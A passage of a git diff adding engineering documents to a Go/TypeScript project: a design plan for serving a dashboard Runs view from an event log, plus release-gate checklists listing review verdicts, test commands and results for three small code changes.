+  with request-time sessions enrich. *Gate:* handler + tailer integration
+  tests, `make dashboard-check`.
+- **Phase 3 — Detail interpreter + endpoint, shared projection.**
+  `BuildRunDetail` calling the same classifier; `runs/{runId}/detail`. *Gate:*
+  Go golden equals captured TS `FormulaRunDetail`; summary/detail consistency
+  test.
+- **Phase 4 — SPA cutover behind a flag, then delete TS logic.** Repoint
+  both views to BFF (keep SSE nudge + debounce), shadow-compare, then delete
+  `shared/src/runs/*` logic + frontend enrich. *Gate:* parity over a soak
+  window, SPA tests green, manual preview.
+- **Phase 5 — Lift knowledge into the spec (additive upgrade).** Author
+  `runspec/*.toml`, add codegen, refactor Go literals to generated constants,
+  import generated TS for presentation. *Gate:* regenerate-and-diff CI test;
+  full golden corpus green. If deferred, the system rests stably at Phase 4.
+
+## Consequences
+
+- One canonical implementation of every run rule, consumed by both views and
+  any future client; AGENTS.md's "object model at the center, API as
+  projection" invariant is satisfied at the run layer.
+- The most frequent real change (add/alter a formula or stage) becomes a
+  one-line data edit that lands atomically on both sides with a CI gate.
+- Largest one-time port and a new codegen ritual; cross-runtime portability
+  of run *semantics* is sacrificed (the dashboard is always Go-backed).
+- Summary first-paint collapses from ~10–38s to a sub-second warm read;
+  detail stays ~190ms; wire payload is a few KB; cross-viewer consistency is
+  structural.
diff --git a/plans/runs-view-event-sourcing.md b/plans/runs-view-event-sourcing.md
new file mode 100644
index 0000000000..5d1fd642be
--- /dev/null
+++ b/plans/runs-view-event-sourcing.md
@@ -0,0 +1,269 @@
+# Event-Sourced Runs View — Design
+
+## 1. Problem and goal
+
+The dashboard **Runs** view is slow because there is no server-side run
+projection. The SPA reconstructs runs entirely client-side: on every wide
+refresh it fans out to four supervisor `/v0` reads — `molecule(all=true)`
+(~6.8s over ~340k rows, capped at `MOLECULE_HISTORY_TIMEOUT_MS=3000`),
+`formulaFeed` (~10s), one `task(all=true)` per discovered rig, and the core
+active `listBeads` — then folds flat bead lists into run lanes via
+`buildRunSummary` (`shared/src/runs/summary.ts`) and `enrichRunSummary`
+(`frontend/src/supervisor/runSummary.ts`). The `molecule(all=true)` scan
+exists *purely to surface historical run roots* that the view already caps at
+50.
+
+The hosted product is fast because it reads ClickHouse, which is fed by
+exported events. The OSS-local analog of that ClickHouse is the per-city
+append log `.gc/events.jsonl`. **Goal: source the Runs view from
+events.jsonl, mirroring the hosted fold, so the expensive bead scans
+disappear.**
+
+## 2. Recommended architecture
+
+Add a **per-city background run-projection tailer** inside
+`internal/api/dashboardbff`, modeled on the existing `citySampler`
+(`samplers.go`). It:
+
+1. Resolves the city's on-disk root via `Deps.Resolver.CityPath(name)`
+   (already available; this is how `resolveCityPath` works).
+2. Opens `<root>/.gc/events.jsonl` **read-only** using the
+   `transientCityEventProvider` pattern (`cmd/gc/city_registry.go`): reads go
+   through `events.ReadFiltered`, the watcher through
+   `recorder.Watch(...)` then `recorder.Close()` — the watcher only needs the
+   path and holds **no second writer**, so it never contends with the
+   controller's appender.
+3. Does a **one-time cold replay** from cursor zero, folding the latest
+   `bead.created`/`bead.updated`/`bead.closed`/`bead.deleted` snapshot per
+   bead id (delete removes), then **live-tails** via `Watch(ctx, lastSeq)`.
+4. Rebuilds the bead-derived `RunSummary` (a Go port of `buildRunSummary`)
+   off the fold and publishes it under a brief lock — identical
+   off-request-path discipline to `citySampler.refresh`.
+5. Serves a new **`GET /api/city/{cityName}/runs/summary`** endpoint that
+   returns the cached projection, then layers session-dependent health/census
+   on at request time from the live `/v0/.../sessions` read (the same data the
+   SPA fetches today).
+
+```
+.gc/events.jsonl ──(read-only Watch/ReadFiltered)──▶ runProjection (per city, warm)
+   bead.created/updated/closed/deleted               fold: map[beadID]Bead
+                                                      └▶ buildRunSummary (Go)
+                                                            │ cached snapshot
+GET /api/city/{city}/runs/summary ──▶ snapshot + live /v0/.../sessions enrich
+                                                            ▼
+                                                    RunSummary DTO (unchanged shape)
+```
+
+### Why the BFF plane, not a new supervisor `/v0` endpoint
+
+| Consideration | BFF `/api` plane (recommended) | Supervisor `/v0` endpoint |
+|---|---|---|
+| OpenAPI/Huma contract | **Untouched** — the plane is the documented non-Huma exception | Requires a new Huma op + regenerated `openapi.json` + TS types |
+| Upstream alignment (AGENTS.md) | New file in a fork-friendly package; no edit to upstream `internal/api` wire code | Edits upstream-owned wire surface |
+| SPA wiring | Same-origin `/api/city/...`, identical to existing run-diff + sampler calls (`cityBase.ts`) | New typed client method |
+| Background warm cache | `citySampler` lifecycle (lazy start, Start/Stop) already wired in `supervisor_dashboard.go` | Would need new lifecycle plumbing |
+| Reuse of read substrate | `transientCityEventProvider` read-only pattern drops in | Same |
+
+The BFF plane already serves `POST /api/city/{cityName}/runs/{runId}/diff`
+(`rundiff.go`), so a `runs/summary` sibling is idiomatic and the SPA's
+`cityPath()` helper already targets `/api/city/:cityName/*`.
+
+### Why Go-side fold, not ship-events-to-browser
+
+Folding in TS would require streaming tens of thousands of event lines to
+each client on each refresh to reproduce a fold that costs **0.9s / 27MB
+once** server-side (measured below). The fold belongs where the log is. Cost:
+`buildRunSummary` must be reimplemented in Go and pinned by a parity test
+(see Phase 2).
+
+## 3. RunSummary field → event source mapping
+
+The fold keeps the latest `beads.Bead` snapshot per id. `buildRunSummary`'s
+inputs are bead fields + `gc.*` metadata, **all of which are in the bead.*
+payload** (`internal/api/event_payloads.go` `BeadEventPayload` =
+`json.Marshal(beads.Bead)`; the controller emits the full bead via
+`caching_store_events.go notifyChange`).
+
+| RunSummary field | Source | In events.jsonl? |
+|---|---|---|
+| Run grouping (`runRootId`) | `pr_review.*` / `bugflow.*` / `design_review.*` / `gc.root_bead_id` / `gc.kind` / `issue_type==molecule` / `molecule_id` metadata | **Yes** — bead.* payload metadata |
+| Run-group promotion (`isRunGroup`) | `gc.formula_contract==graph.v2` / `issue_type==molecule` / `gc.kind==run` / `gc.formula` | **Yes** |
+| `lanes` / `historicalLanes` / `blockedLanes` split | folded bead `status` + `gc.phase` (`mapRunPhase`) | **Yes** |
+| `totalActive` / `totalHistorical` | counts over folded lanes | **Yes** |
+| lane `title` | `pr_review.github_title` / root `title` | **Yes** |
+| lane `formula` | `gc.formula` / `resolveRunFormulaIdentity` | **Yes** |
+| lane `scope` | `gc.root_store_ref` / `gc.scope_ref` | **Yes** (replaces the `formulaFeed` discovery read) |
+| lane `external` | `pr_review.pr_url` / `bugflow.github_issue_url` | **Yes** |
+| `statusCounts` / `activeAssignees` | folded bead `status` / `assignee` | **Yes** |
+| `updatedAt` / `recentChanges` | bead `updated_at` (present in payload) | **Yes** |
+| `stages` / `progress` / `formulaStageResolved` | `gc.step_id` / `gc.step_ref` / `gc.phase` / `gc.attempt` + formula stage tables | **Yes** for the metadata; stage tables are static code |
+| `runCounts` | derived from lanes | **Yes** |
+| **lane `health`** (phaseConfidence, needsOperator, stuckNode, thrashingDetected, session) | `deriveRunHealth` over the **live sessions list** | **NO — genuine gap** (see below) |
+| **`census`** | `buildCensus` over enriched lanes | **NO — depends on health** |
+| `thrashing` / progress marks | `advanceProgressMarks` cross-generation state | Server-derivable but currently client-only (open question) |
+
+### The one genuine gap: session-derived health
+
+`session.woke`/`session.stopped` events carry only `{subject: session-name}`
+(verified in a real log). They do **not** carry `lastActive`, `running`, or
+`activity` — the `DashboardSession` fields `deriveRunHealth` needs. Those are
+**live process facts**, consistent with the project rule "no status files —
+query live state." So health/census **cannot be event-sourced** and must come
+from the live `/v0/.../sessions` read. The endpoint layers them on at request
+time (cheap; sessions is already the fast read). When sessions is unavailable,
+health degrades to `unavailable` and `phaseConfidence` to `inferred`, exactly
+as today.
+
+## 4. Read mechanism, cursor, rotation, cost
+
+- **Backfill:** on city-first-view, `events.ReadFiltered(path,
+  Filter{})` (or a `Type`-filtered pass for the four bead types) yields one
+  chronological stream across any gzip archives; fold to `map[beadID]Bead`,
+  record `lastSeq`.
+- **Live tail:** `Watch(ctx, lastSeq)`; the file watcher polls 250ms,
+  advances a byte offset, dedupes by seq, and detects rotation by inode change
+  (resets offset, honors the `events.rotated` anchor). Apply each bead.* event
+  to the fold, republish the snapshot under a brief lock.
+- **Cursor:** the `uint64` Seq. No persistence needed for v1 (replay is
+  sub-second); a future compacted checkpoint is an open question.
+- **Memory/startup cost (measured):** folding the 70MB / **59,165-event**
+  `my-city/.gc/events.jsonl` took **0.9s wall, 27MB RSS** in Python; Go will
+  be faster. Distinct beads after fold: 3,546 (a ~16x event→bead ratio). This
+  is paid **once per city at first view**, then the tail is incremental. The
+  warm snapshot is the in-memory fold (a few MB of beads) plus the built
+  `RunSummary`.
+- **Lazy + bounded:** start the tailer lazily per city (like `citySampler`),
+  so cities nobody views cost nothing.
+
+## 5. Historical question, answered
+
+**Does events.jsonl retain enough to replace `molecule(all=true)`? Yes, with
+one caveat.**
+
+- **Retention:** rotation is OFF by default (`maxSize=0` unless
+  `[events.rotation] enabled`); `archive_retain_age` defaults to empty →
+  reaping is a no-op → **archives kept forever**. `ReadFiltered` walks them
+  transparently. The log retains run roots indefinitely — *more* than the
+  SPA's `MAX_HISTORICAL_LANES=50` wire cap.
+- **Reconstruction proven on real data:** folding
+  `/data/projects/daytona-trial-city/.gc/events.jsonl` produced **10 run
+  lanes** (mol-dog-compactor, mol-dog-backup, …) with correct formula names —
+  the `gc.root_bead_id`/`gc.kind`/`gc.step_ref` keys are present in real
+  bead.created metadata.
+- **The caveat:** the projection reconstructs exactly the runs whose
+  lifecycle events are in the log. A city running current code records them
+  completely → no backfill needed. But runs that occurred **before the city
+  ever recorded bead events** (e.g. the legacy `my-city` log folded to **0 run
+  groups** — that workload never ran graph.v2 formulas) are not in the log and
+  cannot be event-sourced. That history is equally invisible to a fresh
+  controller; only beads-as-system-of-record has it.
+- **Conclusion:** steady-state needs **no** beads backfill. If product
+  requires deep pre-event history for legacy installs, add an **optional,
+  flag-gated** one-time `molecule(all=true)` read to seed a historical
+  checkpoint at cursor zero — not a structural requirement, and not run on
+  every city.
+
+## 6. Conceptual alignment with the hosted ClickHouse fold
+
+The hosted run plane builds runs at query time, not as a materialized view:
+- **Run step-structure** (`forgebff Store.RunSteps`): `GROUP BY ref` over
+  `city_events.events FINAL`, pairing `bead.created`/`bead.closed` (minIf/maxIf
+  on ts) within `org_id + run_id`. A step = one bead's created/closed pair.
+- **Run list/cost** (`manifold list_runs_sql`): `GROUP BY
+  coalesce(nullIf(run_id,''),agent)` over the spend fact table.
+
+The OSS local fold mirrors the **same shape**: group by run key, fold bead
+lifecycle. Differences to keep documented so the two stay in sync:
+- Local **groups by re-derived `runRootId`** from the folded snapshot
+  metadata (not by envelope `run_id`), because envelope `run_id` is stamped at
+  record time and an early event can carry `run_id=self` before
+  `molecule_id`/`workflow_id` was stamped — re-deriving from the latest
+  snapshot is the correctness-safe key (matches `buildRunSummary`).
+- Local has **`bead.updated`** (status transitions); the hosted export
+  allowlist **excludes** it, so ClickHouse sees only created/closed boundaries.
+  The local projection is therefore *richer* (real per-lane status), and the
+  two are intentionally not byte-identical. Cost/token data lives only in the
+  hosted spend plane and is out of scope locally.
+- Keep the run-key precedence and `isRunGroup` rule identical to
+  `summary.ts` so a future hosted run-list-over-city_events can reuse the same
+  predicate.
+
+## 7. Fidelity gaps vs the molecule scan, and SPA degradation
+
+| Aspect | molecule scan today | event-sourced projection | SPA degrade |
+|---|---|---|---|
+| Historical depth | beads system-of-record (all roots ever) | log-resident roots (complete for current-code cities) | Pre-event-history runs absent until optional backfill |
+| Health/census | live sessions read (client) | live sessions read at request time | `unavailable` when sessions down (same as today) |
+| Progress/thrashing marks | per-browser, in-memory | TBD: client-side (v1) or relocated to tailer | Resets on reload if left client-side |
+| Dependency edges (parent/child) | full bead read | `ParentID` in payload, but `caching_store_events` can drop deps after removals | Step→root child edges may be incomplete; lane still renders from grouping |
+| Freshness | per-refresh fan-out | 250ms tail latency | Snapshot up to one tick stale (negligible) |
+| Cold-start | n/a (always re-fetches) | one 0.9s replay at first view | First view slightly slower than a warm cache, far faster than 6.8s scan |
+
+Degradation contract: a tailer/log error returns the endpoint with
+`lanesPartial: true` (existing convention) rather than blanking; the SPA can
+keep the `/v0` path as a fallback behind a flag during rollout.
+
+## 8. Phased implementation plan (≤5 files/phase, each verifiable)
+
+**Phase 1 — Go fold + buildRunSummary port (no wiring).**
+Files: `internal/api/dashboardbff/runprojection.go` (new: fold + run grouping
++ `RunSummary` build), `runprojection_test.go` (new),
+`testdata/runs/daytona.jsonl` (new fixture, trimmed from the real log),
+optionally a shared `runmodel.go` for the DTO structs.
+Verify: golden test folds the fixture and asserts the same lanes/counts the TS
+`buildRunSummary` produces for the same beads (capture the TS output once as
+the golden). `go test ./internal/api/dashboardbff/ -run RunProjection`.
+
+**Phase 2 — Parity test against TS.**
+Files: `runprojection_parity_test.go` (new), a shared fixture under
+`shared/src/runs/__fixtures__/` consumed by both a TS test and the Go test.
+Verify: TS `summary.test.ts` and Go parity test build the **same RunSummary**
+(modulo health/census) from one fixture. This is the contract that lets the Go
+reimplementation track `summary.ts`.
+
+**Phase 3 — Per-city tailer (read substrate).**
+Files: `runprojection_tailer.go` (new: lazy per-city loop, cold replay +
+`Watch`, snapshot publish under brief lock, mirroring `citySampler`),
+`runprojection_tailer_test.go` (new), small edit to `plane.go` (add the
+tailer manager to `Plane`, enable in `Start`, drain in `Stop`).
+Verify: test writes a temp `.gc/events.jsonl`, starts the tailer, asserts the
+snapshot reflects appended bead events after a tick; asserts no second writer
+(file still appendable by a separate recorder).
+
+**Phase 4 — Endpoint + session enrichment.**
+Files: `runs_summary.go` (new: `GET /api/city/{cityName}/runs/summary`,
+reads tailer snapshot, fetches live `/v0/.../sessions` over loopback like
+`fetchStatus`, applies health/census), `runs_summary_test.go` (new), edit
+`plane.go` `registerRoutes` to call `registerRunsSummary`.
+Verify: handler test returns the DTO with available health when sessions
+present, `unavailable` health + `lanesPartial` when sessions read fails;
+`make dashboard-check` for the wire contract.
+
+**Phase 5 — SPA cutover behind a flag.**
+Files: `frontend/src/supervisor/runSummary.ts` (add a BFF fetcher that calls
+`/api/city/{city}/runs/summary` via `cityPath()`), `runSummarySubscription.tsx`
+(select BFF vs `/v0` path by flag), `runSummary.test.ts` (cover the new
+fetcher).
+Verify: SPA tests green; manual `npm run preview` shows the Runs view
+populated from the BFF path; shadow-compare DTOs from both paths for a period.
+
+## 9. Risks
+
+- **Go↔TS drift** in `buildRunSummary`: mitigated by the Phase 2 shared-fixture
+  parity test; treat `summary.ts` as the spec.
+- **Replay growth** on very long-lived cities under keep-forever retention:
+  0.9s today, but unbounded; the compacted-checkpoint open question hedges it.
+- **Incomplete dependency edges** in some bead.updated payloads
+  (`updateEventDepsLocked` can drop deps): lanes still render from grouping;
+  document that step child-edge completeness is best-effort, matching the
+  existing client behavior.
+
+---
+
+## Locked decisions (operator, 2026-06-28)
+
+1. **Historical: pure event-sourcing.** Runs = whatever `events.jsonl` contains (complete for any city on current code). No beads backfill; runs predating the city's first recorded bead event are not shown.
+2. **Server scope: full server-side, including session enrich.** Go owns the event fold + `buildRunSummary` AND `enrichRunSummary` (per-lane health + census). The BFF reads `/v0/.../sessions` at request time (loopback) to layer session state; the SPA just renders the returned `RunSummary`.
+3. **Rollout: direct cutover.** Repoint the SPA's run-summary source to the new endpoint and delete the 4-read `/v0` path, gated by a Go↔TS golden-parity test (Go `RunSummary` == current TS `RunSummary` on shared fixtures).
+4. **Restart: cold-replay each supervisor start** (~0.9s) + live-tail. No persisted checkpoint in v1.
+5. (defaulted) `progressStateByCity` monotonicity marks move server-side into the tailer (shared across viewers, survive reload) since the fold is now server-owned.
diff --git a/release-gates/ga-3ojbg1-provider-cache-gate.md b/release-gates/ga-3ojbg1-provider-cache-gate.md
new file mode 100644
index 0000000000..e97df79fa2
--- /dev/null
+++ b/release-gates/ga-3ojbg1-provider-cache-gate.md
@@ -0,0 +1,131 @@
+# Release Gate: gc status provider cache adoption
+
+Bead: `ga-3ojbg1` - needs-deploy for `ga-soqo5g`
+Review bead: `ga-qapqi0`
+Branch: `deploy/ga-3ojbg1-provider-cache`
+Reviewed source branch: `origin/gc-builder-2-6fa6ba1e8999`
+Reviewed commit: `d7bb52816619a566f437c723400ffc5be49d4693`
+Base checked: `origin/main` at `3be7535bc41a2210af21c33bbf67d94022c84ef2`
+Merge base: `1ce90331a13e08ba8c1ba649a210e656080c32a5`
+Gate date: 2026-07-04
+
+## Summary
+
+This release routes `gc status` CLI provider-transport resolution through
+`config.ResolvedProviderCached` where the resolved-provider cache is populated,
+with fallback to the existing uncached `config.ResolveProvider` path. It also
+computes the ACP route-name set once during status provider construction instead
+of recomputing it for each wrapper decision.
+
+The diff is limited to `cmd/gc/providers.go` and
+`cmd/gc/providers_test.go`. `docs/PROJECT_MANIFEST.md` is not present in this
+checkout, so this gate uses the deployer release criteria and the `TESTING.md`
+sharded-runner guidance.
+
+## Criteria
+
+| # | Criterion | Result | Evidence |
+|---|-----------|--------|----------|
+| 1 | Review PASS present | PASS | `bd show ga-qapqi0` is closed with `REVIEW VERDICT: PASS` for commit `d7bb52816619a566f437c723400ffc5be49d4693` on `gc-builder-2-6fa6ba1e8999`. |
+| 2 | Acceptance criteria met | PASS | `resolveProviderForACPTransport` and `agentSessionCreateTransport` now prefer `config.ResolvedProviderCached` and fall back to `config.ResolveProvider` on cache miss or the `StartCommand` escape hatch. `resolveSessionTransportProvider` computes ACP route names once for provider construction. New tests cover cache preference, cache fallback, workspace-provider fallback, `StartCommand` bypass, and cached/raw transport equivalence. |
+| 3 | Tests pass | PASS | Branch-scoped checks passed: focused provider/ACP tests, `go test ./internal/config/...`, `go build ./cmd/gc`, and `go vet ./...`. The first `make test-fast-parallel` run failed in unrelated supervisor/runtime tests; the exact focused failure set reproduces on current `origin/main`. A later pre-push dry-run reran `make test-fast-parallel` on this branch and passed all fast jobs. |
+| 4 | No high-severity review findings open | PASS | Review notes state "No findings" and no HIGH/request-changes findings are listed for `ga-qapqi0` or `ga-3ojbg1`. |
+| 5 | Final branch is clean | PASS | Before writing this gate file, `git status --short --branch` showed a clean branch at the reviewed source commit. After this file is committed, the only extra delta is this gate artifact. |
+| 6 | Branch diverges cleanly from main | PASS | `git merge-tree --write-tree origin/main HEAD` produced tree `49509a3283df55fab67f536c2660cb00f195735c` with no conflicts. `git diff --check origin/main...HEAD` passed. |
+| 7 | Single feature theme | PASS | Commit set is one CLI status provider-resolution performance fix touching only `cmd/gc/providers.go` and `cmd/gc/providers_test.go`. |
+
+## Acceptance Mapping
+
+| Done-when item | Result | Evidence |
+|---|---|---|
+| Status provider build performs O(1) cached lookups when populated | PASS | Cache-preference tests use deliberately divergent raw specs and cache entries, so ACP results prove the cached path was used. |
+| `configuredACPRouteNames` computed once per status build | PASS | `resolveSessionTransportProvider` computes `acpRouteNames` once and reuses it for wrapper decisions and route registration during provider construction. The separate `registerStatusProviderACPRoutes` refresh path remains intentionally separate because it runs against a later snapshot. |
+| Transport-decision equivalence and no per-item recompute covered | PASS | `TestAgentSessionCreateTransport_CachedMatchesRawForOverrideAgent`, fallback tests, and existing ACP route/provider tests passed. |
+
+## Commands Run
+
+```text
+gc prime
+bd prime
+gc hook gascity/deployer --claim --json
+bd show ga-3ojbg1
+bd show ga-qapqi0
+bd show ga-soqo5g
+gh auth status
+git fetch origin main gc-builder-2-6fa6ba1e8999
+git rev-parse origin/main origin/gc-builder-2-6fa6ba1e8999 d7bb52816
+git show --stat --oneline --decorate --no-renames d7bb52816
+git diff --name-status origin/main...origin/gc-builder-2-6fa6ba1e8999
+git merge-tree --write-tree origin/main origin/gc-builder-2-6fa6ba1e8999
+git diff --check origin/main...HEAD
+env TMPDIR=/var/tmp/gc-deploy-ga-3ojbg1-tmp make test-fast-parallel
+env TMPDIR=/var/tmp/gc-deploy-ga-3ojbg1-tmp go test ./cmd/gc -run '^(TestCityRuntimeRun_ConvergenceStartupErrorDoesNotBlockStarted|TestRegisterCityWithSupervisorRejectsStandaloneController|TestRegisterCityWithSupervisorRejectsStandaloneControllerDuringSupervisorStartupPhase|TestRegisterCityWithSupervisorRejectsStandaloneControllerForStoppedManagedCity|TestSupervisorCreatesControllerSocketForManagedCity)$' -count=1 -v
+env TMPDIR=/var/tmp/gc-main-ga-3ojbg1-tmp go test ./cmd/gc -run '^(TestCityRuntimeRun_ConvergenceStartupErrorDoesNotBlockStarted|TestRegisterCityWithSupervisorRejectsStandaloneController|TestRegisterCityWithSupervisorRejectsStandaloneControllerDuringSupervisorStartupPhase|TestRegisterCityWithSupervisorRejectsStandaloneControllerForStoppedManagedCity|TestSupervisorCreatesControllerSocketForManagedCity)$' -count=1 -v
+env TMPDIR=/var/tmp/gc-deploy-ga-3ojbg1-tmp go test ./cmd/gc/... -run 'TestResolveProviderForACPTransport|TestAgentSessionCreateTransport|TestConfiguredACPRouteNames|TestNewSessionProvider|TestSessionProviderContext|TestConfiguredACPSessionNames' -count=1 -v
+env TMPDIR=/var/tmp/gc-deploy-ga-3ojbg1-tmp go test ./internal/config/... -count=1
+env TMPDIR=/var/tmp/gc-deploy-ga-3ojbg1-tmp go build ./cmd/gc
+env TMPDIR=/var/tmp/gc-deploy-ga-3ojbg1-tmp go vet ./...
+git config core.hooksPath
+```
+
+## Test Results
+
+```text
+go test ./cmd/gc/... -run 'TestResolveProviderForACPTransport|TestAgentSessionCreateTransport|TestConfiguredACPRouteNames|TestNewSessionProvider|TestSessionProviderContext|TestConfiguredACPSessionNames' -count=1 -v
+PASS
+ok  	github.com/gastownhall/gascity/cmd/gc	0.722s
+
+go test ./internal/config/... -count=1
+ok  	github.com/gastownhall/gascity/internal/config	2.482s
+
+go build ./cmd/gc
+PASS
+
+go vet ./...
+PASS
+
+make test-fast-parallel
+FAIL: unit-cmd-gc-2-of-6
+  TestRegisterCityWithSupervisorRejectsStandaloneControllerForStoppedManagedCity
+  TestSupervisorCreatesControllerSocketForManagedCity
+
+FAIL: unit-cmd-gc-4-of-6
+  TestRegisterCityWithSupervisorRejectsStandaloneControllerDuringSupervisorStartupPhase
+
+FAIL: unit-cmd-gc-5-of-6
+  TestRegisterCityWithSupervisorRejectsStandaloneController
+
+FAIL: unit-cmd-gc-6-of-6
+  TestCityRuntimeRun_ConvergenceStartupErrorDoesNotBlockStarted
+```
+
+Pre-push dry-run rerun after the gate commit:
+
+```text
+make test-fast-parallel
+All fast jobs passed
+```
+
+Focused reproduction on this branch:
+
+```text
+TestCityRuntimeRun_ConvergenceStartupErrorDoesNotBlockStarted: PASS in isolation.
+The four supervisor tests above fail with `bd schema not visible for hq after init`,
+`city did not become ready under supervisor within 1m0s`, and missing
+`controller.sock` diagnostics.
+```
+
+Focused reproduction on current `origin/main`:
+
+```text
+The same four supervisor tests fail with the same `bd schema not visible for hq
+after init`, one-minute readiness timeout, and missing `controller.sock`
+diagnostics. This is a repo-wide supervisor/bd test-state failure, not a
+regression from the provider-cache diff.
+```
+
+## Notes
+
+`core.hooksPath` is `.githooks`; the gate commit runs the local pre-commit hook.
+The deployer did not rebase the reviewed source branch. The branch merges
+cleanly with current `origin/main` according to `git merge-tree`.
diff --git a/release-gates/ga-9e524n-namedworkready-candidate-b-guard-regression-test-gate.md b/release-gates/ga-9e524n-namedworkready-candidate-b-guard-regression-test-gate.md
new file mode 100644
index 0000000000..3d3e263d0e
--- /dev/null
+++ b/release-gates/ga-9e524n-namedworkready-candidate-b-guard-regression-test-gate.md
@@ -0,0 +1,50 @@
+# Release Gate: namedWorkReady Candidate-B guard regression test
+
+- Bead: ga-9e524n
+- Source builder bead: ga-7x9khs
+- Source review bead: ga-mojprz
+- Final branch: deploy/ga-9e524n-namedworkready-candidate-b-guard-clean
+- Base: origin/main at 4189caf4fcac0d7b199a143346c2c1b704674994
+- Candidate commit: 14a9fba2be5c7bf3b764c244b6c4d16ebb71ab74
+- Original reviewed commit: 5de45c92488a5ee40d847faaf5ce1398e3e0fd57
+- Evaluated: 2026-07-05T21:54:30Z
+
+## Summary
+
+PASS. Prerequisite PR #3865 is merged, so this deploy branch was evaluated as
+a clean single-commit branch from current origin/main. The candidate only adds
+the regression test for namedWorkReady Candidate-B behavior when an
+expanded-identity named session has no canonical session bead.
+
+## Gate Criteria
+
+| # | Criterion | Result | Evidence |
+|---|-----------|--------|----------|
+| 1 | Review PASS present | PASS | `bd show ga-mojprz` is closed with reason `pass` and notes include `REVIEW: PASS (gascity/reviewer)`. |
+| 2 | Acceptance criteria met | PASS | `bd show ga-7x9khs` asks for one self-contained in-memory test in `cmd/gc/build_desired_state_ga80pen8_test.go`, matching sibling test style, with gofmt/go vet/fast-unit coverage clean and a doc comment referencing ga-tpe9od. The candidate adds only `TestNamedWorkReady_ExpandedIdentityTemplate_NoCanonicalBead_DoesNotMaterialize`. |
+| 3 | Tests pass | PASS | `TMPDIR=/var/tmp/gc-ga-9e524n-test make test-fast-parallel` passed all fast shards. `TMPDIR=/var/tmp/gc-ga-9e524n-test go vet ./...` passed. `git diff --check origin/main..HEAD` passed. |
+| 4 | No high-severity review findings open | PASS | Reviewer notes have no open HIGH findings; the review marks security N/A because this is a pure in-memory Go unit test with no external input, auth, serialization, or injection surface. |
+| 5 | Final branch is clean | PASS | `git status --short` was empty before writing this gate file. The only release-only change is this gate checklist, committed as the branch tip. |
+| 6 | Branch diverges cleanly from main | PASS | The deploy branch is based directly on current `origin/main`; `git merge-tree $(git merge-base origin/main HEAD) origin/main HEAD` reports a clean merge. |
+| 7 | Single feature theme | PASS | The commit set touches one subsystem and one purpose: one `cmd/gc` desired-state regression test for namedWorkReady Candidate-B behavior. |
+
+## Diff Scope
+
+```text
+cmd/gc/build_desired_state_ga80pen8_test.go | 77 +++++++++++++++++++++++++++++
+1 file changed, 77 insertions(+)
+```
+
+## Commits
+
+```text
+14a9fba2b test(reconciler): pin down namedWorkReady Candidate-B guard vs. no-canonical crash recovery
+```
+
+## Notes
+
+The original reviewed branch commit was `5de45c924` on
+`builder/ga-7x9khs-namedworkready-nocanonical-test`. That branch was stacked on
+the pre-squash prerequisite for PR #3865, so it is not suitable as a PR head
+after #3865 merged. This deploy branch keeps the reviewed test-only change and
+drops the obsolete prerequisite stack from the review surface.
diff --git a/release-gates/ga-j10e7e-nested-worktree-lint-gate.md b/release-gates/ga-j10e7e-nested-worktree-lint-gate.md
new file mode 100644
index 0000000000..adc6d8d401
--- /dev/null
+++ b/release-gates/ga-j10e7e-nested-worktree-lint-gate.md
@@ -0,0 +1,90 @@
+# Release Gate: nested worktree lint dirwalk detection
+
+Gate date: 2026-07-03
+
+Deploy bead: ga-j10e7e
+Review bead: ga-sd6q36
+Source bead: ga-dt41jn
+Candidate branch: builder/ga-sd6q36-detect-nested-worktrees-structurally
+Reviewed commit: aeb8197e168bf8444d90c016d5e2294e59f96e0b
+Candidate tip before this gate: aeb8197e168bf8444d90c016d5e2294e59f96e0b
+Base checked: origin/main @ 1dfce8f962d31d7df683f91dd003f20429be2b5b
+
+Note: `docs/PROJECT_MANIFEST.md` and `PROJECT_MANIFEST.md` are not present in
+this checkout. This gate uses the deployer release criteria from the active
+role prompt plus the repository testing guidance in `TESTING.md`, matching
+prior gates in this repository.
+
+## Summary
+
+This release teaches the repository lint dirwalk tests to recognize linked
+git worktrees by structure rather than by directory name. Nested worktrees have
+a `.git` file instead of a `.git` directory, so the lint walks can now skip
+bead-slug-named worktree roots without requiring those directories to be named
+`worktrees` or `worktree-*`.
+
+The final release diff is one feature theme:
+
+| Path | Change |
+|---|---|
+| `internal/testenv/lint_test.go` | Skips nested linked worktree roots while preserving the current worktree root scan with `path != root`. |
+| `test/docsync/docsync_test.go` | Skips nested linked worktree roots when checking top-level doc directory coverage. |
+
+## Criteria
+
+| # | Criterion | Result | Evidence |
+|---|-----------|--------|----------|
+| 1 | Review PASS present | PASS | `bd show ga-sd6q36` records `REVIEWER VERDICT (round 2): PASS` for `builder/ga-sd6q36-detect-nested-worktrees-structurally` at `aeb8197e1`. |
+| 2 | Acceptance criteria met | PASS | The branch contains the structural `.git` file check requested by `ga-dt41jn` and applies it to both failing repo lint dirwalks. `git diff --name-only origin/main...HEAD` is limited to `internal/testenv/lint_test.go` and `test/docsync/docsync_test.go`. |
+| 3 | Tests pass | PASS | `gofmt -l` on changed files produced no output. `git diff --check origin/main...HEAD` produced no output. Focused regression tests passed. `go vet ./internal/testenv/... ./test/docsync/...` passed. `go build ./...` passed. `go vet ./...` passed. `make test-fast-parallel` passed. |
+| 4 | No high-severity review findings open | PASS | The round-1 deployability finding was remediated by cherry-picking the reviewed diff onto the clean pushed branch; round-2 review records no outstanding blockers. Unresolved HIGH findings count is 0. |
+| 5 | Final branch is clean | PASS | Before writing this gate file, `git status --short --branch` showed only `## HEAD (no branch)` with no worktree changes. This gate file is the only deployer-authored change. |
+| 6 | Branch diverges cleanly from main | PASS | `git merge-tree --write-tree origin/main HEAD` exited 0 and produced tree `67db99ee14c4b05adf2dd3a95843584e589fb84c`; no merge conflicts with current `origin/main`. |
+| 7 | Single feature theme | PASS | The commit set is confined to structural nested-worktree skipping in repo lint/doc coverage tests. No production code, docs, generated artifacts, or unrelated release-gate files are included in the reviewed diff. |
+
+## Acceptance Checklist
+
+- [x] Gate evaluated the reviewed pushed branch, not the original contaminated branch from round 1.
+- [x] Release diff is limited to nested linked worktree detection in the two lint/doc dirwalk tests.
+- [x] The current worktree root remains scanned because both walks keep the `path != root` guard.
+- [x] Candidate branch has no untracked worktree files or unrelated release-gate artifacts.
+- [x] Candidate branch merges cleanly with current `origin/main`.
+- [x] Required focused tests, build, vet, and fast unit baseline passed.
+- [x] Deployer will open a PR and route merge authority to mayor/mpr, not merge directly.
+
+## Test Log
+
+```text
+gofmt -l internal/testenv/lint_test.go test/docsync/docsync_test.go
+# no output
+
